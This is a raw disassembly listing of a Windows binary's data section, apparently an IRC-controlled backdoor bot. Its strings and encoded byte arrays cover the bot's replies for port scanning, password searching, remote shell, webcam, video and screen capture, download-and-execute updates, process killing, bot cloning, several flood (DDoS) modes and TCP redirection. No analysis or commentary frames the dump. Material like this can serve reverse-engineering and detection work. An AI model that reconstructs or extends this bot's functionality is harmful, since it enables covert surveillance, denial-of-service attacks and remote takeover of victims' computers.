		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDnsCacheFlushe	db '  DNS cache flushed.',0
		align 10h
dword_430100	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_40EE72+565Fo
		dd 2029671Fh, 2BBBB02h
aFailedToSta_10	db '  Failed to start server thread, error: <%d>.',0
		align 4
dword_43014C	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_40EE72+55F4o
		dd 2029671Fh, 2BBBB02h
aServerListen_0	db '  Server listening on IP: %s:%d, Username: %s.',0
		align 4
unk_430198	db    2			; DATA XREF: sub_40EE72+5528o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_11	db 'Failed to start server thread, error: <%d>.',0
unk_4301E0	db    2			; DATA XREF: sub_40EE72+53B2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_12	db '  Failed to start server thread, error: <%d>.',0
		align 4
unk_430228	db    2			; DATA XREF: sub_40EE72+5287o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aAlreadyRunni_0	db '  Already running.',0
unk_430254	db    2			; DATA XREF: sub_40EE72+5271o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_13	db '   Failed to start search thread, error: <%d>.',0
unk_4302A0	db    2			; DATA XREF: sub_40EE72+5200o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingForPa	db '   Searching for password.',0
unk_4302D8	db    2			; DATA XREF: sub_40EE72:loc_414039o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_14	db '  Failed to start scan, port is invalid.',0
		align 4
unk_43031C	db    2			; DATA XREF: sub_40EE72+5108o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSPortScanStart	db '  %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
dword_430394	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4EC8o
		dd 2BBBB02h
aNickChangedToS	db '  Nick changed to: ',27h,'%s',27h,'.',0
		align 4
dword_4303C8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4EACo
		dd 2BBBB02h
aJoinedChannelS	db '  Joined channel: ',27h,'%s',27h,'.',0
dword_4303F8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4E89o
		dd 2BBBB02h
aPartedChannelS	db '  Parted channel: ',27h,'%s',27h,'.',0
dword_430428	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4E6Do
		dd 2BBBB02h, 52492020h,	61522043h, 25203A77h, 2E73h
dword_430450	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413C5Eo
		dd 2029671Fh, 2BBBB02h
aFailedToKillTh	db '  Failed to kill thread: %s.',0
		align 4
dword_43048C	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72+4DE5o
		dd 2029671Fh, 2BBBB02h
aKilledThreadS_	db '  Killed thread: %s.',0
		align 10h
dword_4304C0	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413C11o
		dd 2029671Fh, 2BBBB02h
aNoActiveThread	db '  No active threads found.',0
		align 4
dword_4304F8	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72+4D86o
		dd 2029671Fh, 2BBBB02h
aStoppedDThread	db '  Stopped: %d thread(s).',0
		align 10h
aAll		db 'all',0              ; DATA XREF: sub_40EE72+4D6Co
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+4CE1o
					; sub_40EE72:loc_414B4Co
		align 4
dword_430544	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4C68o
		dd 2BBBB02h
aPrefixChangedT	db '  Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_430578	db    3			; DATA XREF: sub_40EE72:loc_413AC5o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 73h
		db  68h	; h
		db 65h,	2 dup(6Ch)
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5CouldnTOpenFi	db '5  Couldn',27h,'t open file: %s',0
		align 4
unk_4305BC	db    3			; DATA XREF: sub_40EE72+4C49o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 73h
		db  68h	; h
		db 65h,	2 dup(6Ch)
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5FileOpenedS	db '5  File opened: %s',0
		align 4
dword_4305F8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4C29o
		dd 2BBBB02h
aServerChangedT	db '  Server changed to: ',27h,'%s',27h,'.',0
		align 4
dword_43062C	dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_413A4Fo
		dd 2BBBB02h
aCouldnTResol_0	db '  Couldn',27h,'t resolve hostname.',0
		align 4
dword_430664	dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4BB2o
		dd 2BBBB02h
aLookupSS_	db '  Lookup: %s -> %s.',0
unk_430690	db    2			; DATA XREF: sub_40EE72:loc_4139F0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToTermin	db 'Failed to terminate process: %s',0
unk_4306D0	db    2			; DATA XREF: sub_40EE72+4B74o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aProcessKilledS	db 'Process killed: %s',0
		align 4
unk_430704	db    2			; DATA XREF: sub_40EE72:loc_413990o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToTerm_0	db 'Failed to terminate process ID: %s',0
		align 4
unk_430748	db    2			; DATA XREF: sub_40EE72+4B17o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aProcessKilledI	db 'Process killed ID: %s',0
		align 10h
dword_430780	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40EE72+4AD2o
		dd 0BBBB0220h, 44202002h, 74656C65h, 27206465h,	2E277325h
		dd 0
dword_4307AC	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4A4Do
		dd 2BBBB02h
aSendFileSUserS	db '  Send File: %s, User: %s.',0
		align 10h
dword_4307E0	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40EE72+49D2o
		dd 0BBBB0220h, 4C202002h, 3A747369h, 732520h
unk_430804	db    2			; DATA XREF: sub_40EE72+49B4o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_15	db 'Failed to start connection thread, error: <%d>.',0
dword_430850	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40EE72+4945o
		dd 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h,	0
dword_430878	dd 7A026E02h, 201F6D1Fh, 72696D28h, 1F702E63h, 29671F6Ch
					; DATA XREF: sub_40EE72:loc_413745o
		dd 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh,	2E746E65h
		dd 0
unk_4308A4	db    2			; DATA XREF: sub_40EE72+48C9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Dh,	69h, 72h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientNotOpen_	db '  Client not open.',0
dword_4308D0	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4898o
		dd 2BBBB02h, 6F432020h,	6E616D6Dh, 203A7364h, 7325h
dword_4308F8	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+488Do
		dd 2BBBB02h
aErrorSendingTo	db '  Error sending to remote shell.',0
		align 4
dword_430934	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+484Do
		dd 2BBBB02h
aReadFileFailed	db '  Read file failed: %s',0
		align 4
dword_430964	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4839o
		dd 2BBBB02h
aReadFileComple	db '  Read file complete: %s',0
		align 4
dword_430998	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413639o
		dd 2029671Fh, 2BBBB02h
aInvalidParam_0	db '  Invalid parameters for amateur video capture.',0
dword_4309E4	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_41362Fo
		dd 2029671Fh, 2BBBB02h
aErrorWhileCapt	db '  Error while capturing amateur video from webcam.',0
		align 4
dword_430A34	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+47B3o
		dd 2029671Fh, 2BBBB02h
aAmateurVideoSa	db '  Amateur video saved to: %s.',0
		align 10h
aVideo		db 'video',0            ; DATA XREF: sub_40EE72:loc_4135A0o
		align 4
dword_430A78	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_41358Do
		dd 2029671Fh, 2BBBB02h
aInvalidParam_1	db '  Invalid parameters for webcam capture.',0
		align 10h
dword_430AC0	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413586o
		dd 2029671Fh, 2BBBB02h
aErrorWhileCa_0	db '  Error while capturing from webcam.',0
		align 4
dword_430B04	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+4704o
		dd 2029671Fh, 2BBBB02h
aWebcamCaptureS	db '  Webcam capture saved to: %s.',0
		align 10h
aFrame		db 'frame',0            ; DATA XREF: sub_40EE72:loc_4134FAo
		align 4
dword_430B48	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+467Bo
		dd 2029671Fh, 2BBBB02h
aDriverListComp	db '  Driver list complete.',0
dword_430B7C	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+4645o
		dd 2029671Fh, 2BBBB02h
aDriverDSS_	db '  Driver #%d - %s - %s.',0
aDrivers	db 'drivers',0          ; DATA XREF: sub_40EE72:loc_413463o
dword_430BB8	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413450o
		dd 2029671Fh, 2BBBB02h
aNoFilenameSpec	db '  No filename specified for screen capture.',0
dword_430C00	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413449o
		dd 2029671Fh, 2BBBB02h
aErrorWhileCa_1	db '  Error while capturing screen.',0
dword_430C3C	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+45C7o
		dd 2029671Fh, 2BBBB02h
aScreenCaptureS	db '  Screen capture saved to: %s.',0
		align 4
aScreen		db 'screen',0           ; DATA XREF: sub_40EE72:loc_413400o
		align 10h
dword_430C80	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4576o
		dd 2BBBB02h, 65472020h,	736F6874h, 25203A74h, 2E73h
dword_430CA8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4532o
		dd 2BBBB02h
aUnableToExtrac	db '  Unable to extract Gethost command.',0
		align 4
dword_430CE8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4516o
		dd 2BBBB02h
aGethostSComman	db '  Gethost: %s, Command: %s',0
		align 4
dword_430D1C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4496o
		dd 2BBBB02h
aAliasAddedS_	db '  Alias added: %s.',0
		align 4
dword_430D48	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+445Fo
		dd 2BBBB02h
aPrivmsgSS_	db '  Privmsg: %s: %s.',0
		align 4
dword_430D74	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4411o
		dd 2BBBB02h
aActionSS_	db '  Action: %s: %s.',0
		align 10h
dword_430DA0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+43A0o
		dd 2BBBB02h, 79432020h,	2E656C63h, 0
dword_430DC4	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_40EE72+4366o
					; sub_40EE72+4E78o
dword_430DD0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+433Fo
		dd 2BBBB02h
aModeChangeS	db '  Mode change: %s',0
		align 4
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_40EE72+432Eo
		align 4
dword_430E08	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40EE72+4305o
		dd 2202967h, 2002BBBBh,	77615220h, 73252820h, 25203A29h
		dd 73h
dword_430E34	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40EE72+4297o
		dd 2202967h, 2002BBBBh,	646F4D20h, 25282065h, 203A2973h
		dd 7325h
dword_430E60	dd 45444F4Dh, 732520h	; DATA XREF: sub_40EE72+423Fo
dword_430E68	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40EE72+4212o
		dd 2202967h, 2002BBBBh,	63694E20h, 2528206Bh, 203A2973h
		dd 7325h
dword_430E94	dd 4B43494Eh, 732520h	; DATA XREF: sub_40EE72+41B9o
					; sub_40EE72+4CADo
dword_430E9C	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40EE72+419Ao
dword_430EA8	dd 54524150h, 732520h	; DATA XREF: sub_40EE72+4130o
dword_430EB0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_412F8Fo
		dd 2BBBB02h
aRepeatNotAllow	db '  Repeat not allowed in command line: %s',0
		align 4
dword_430EF4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+40E6o
		dd 2BBBB02h, 65522020h,	74616570h, 7325203Ah, 0
aRepeat		db 'repeat',0           ; DATA XREF: sub_40EE72+4092o
		align 4
dword_430F24	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_412EBCo
		dd 2BBBB02h, 65442020h,	2E79616Ch, 0
dword_430F48	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_40EE72+400Ao
					; sub_40EE72+40BDo ...
unk_430F58	db    2			; DATA XREF: sub_40EE72:loc_412E29o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aBotIdMustBeDif	db ' Bot ID must be different than current running process.',0
unk_430FAC	db    2			; DATA XREF: sub_40EE72+3FADo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStartD	db ' Failed to start download thread, error: <%d>.',0
		align 4
unk_430FF8	db    2			; DATA XREF: sub_40EE72+3F3Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aDownloadingUpd	db ' Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_40EE72+3E95o
		align 10h
dword_431040	dd 7A026E02h, 201F6D1Fh, 65786528h, 1F702E63h, 29671F6Ch
					; DATA XREF: sub_40EE72+3E33o
		dd 0BBBB0220h, 43202002h, 616D6D6Fh, 3A73646Eh,	732520h
unk_431068	db    2			; DATA XREF: sub_40EE72+3E28o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 65h,	78h, 65h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTExecute	db '  Couldn',27h,'t execute file.',0
		align 4
unk_43109C	db    2			; DATA XREF: sub_40EE72+3DA0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_16	db '  Failed to start search thread, error: <%d>.',0
		align 4
unk_4310E8	db    2			; DATA XREF: sub_40EE72+3D26o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingFor_0	db '  Searching for file: %s in: %s.',0
		align 4
dword_431128	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40EE72:loc_412AF9o
					; sub_40EE72:loc_413962o
		dd 0BBBB0220h, 2002h
unk_431144	db    2			; DATA XREF: sub_40EE72+3C6Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aRenameSToS_	db '  Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_431178	db    2			; DATA XREF: sub_40EE72:loc_412ABFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidFloodTi	db '  Invalid flood time must be greater than 0.',0
		align 10h
unk_4311C0	db    2			; DATA XREF: sub_40EE72+3C43o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartF	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_431208	db    2			; DATA XREF: sub_40EE72+3BCFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSForSS	db '  Flooding: (%s) for %s seconds.',0
		align 4
unk_431244	db    2			; DATA XREF: sub_40EE72+3B4Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Ch, 6Fh
		db  6Eh	; n
		db 65h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToSta_17	db ' Failed to start clone thread, error: <%d>.',0
unk_43128C	db    2			; DATA XREF: sub_40EE72+3ADDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Ch, 6Fh
		db  6Eh	; n
		db 65h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aCreatedOnSDInC	db ' Created on %s:%d, in channel %s.',0
		align 4
unk_4312CC	db    2			; DATA XREF: sub_40EE72+3A55o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_18	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_431314	db    2			; DATA XREF: sub_40EE72+39E6o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSForS	db '  Flooding: (%s:%s) for %s seconds.',0
		align 4
dword_431354	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+3948o
		dd 2BBBB02h
aFailedToSta_19	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_43139C	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+38D7o
		dd 2BBBB02h
aFloodingSSFo_0	db '  Flooding: (%s:%s) for %s seconds.',0
unk_4313D8	db    2			; DATA XREF: sub_40EE72+385Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartT	db '  Failed to start transfer thread, error: <%d>.',0
		align 4
unk_431428	db    2			; DATA XREF: sub_40EE72+37EFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloadingUrl	db '  Downloading URL: %s to: %s.',0
		align 4
unk_431464	db    2			; DATA XREF: sub_40EE72+371Do
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartR	db '   Failed to start redirection thread, error: <%d>.',0
		align 4
unk_4314B8	db    2			; DATA XREF: sub_40EE72+36AEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTcpRedirectCre	db '   TCP redirect created from: %s:%d to: %s:%d.',0
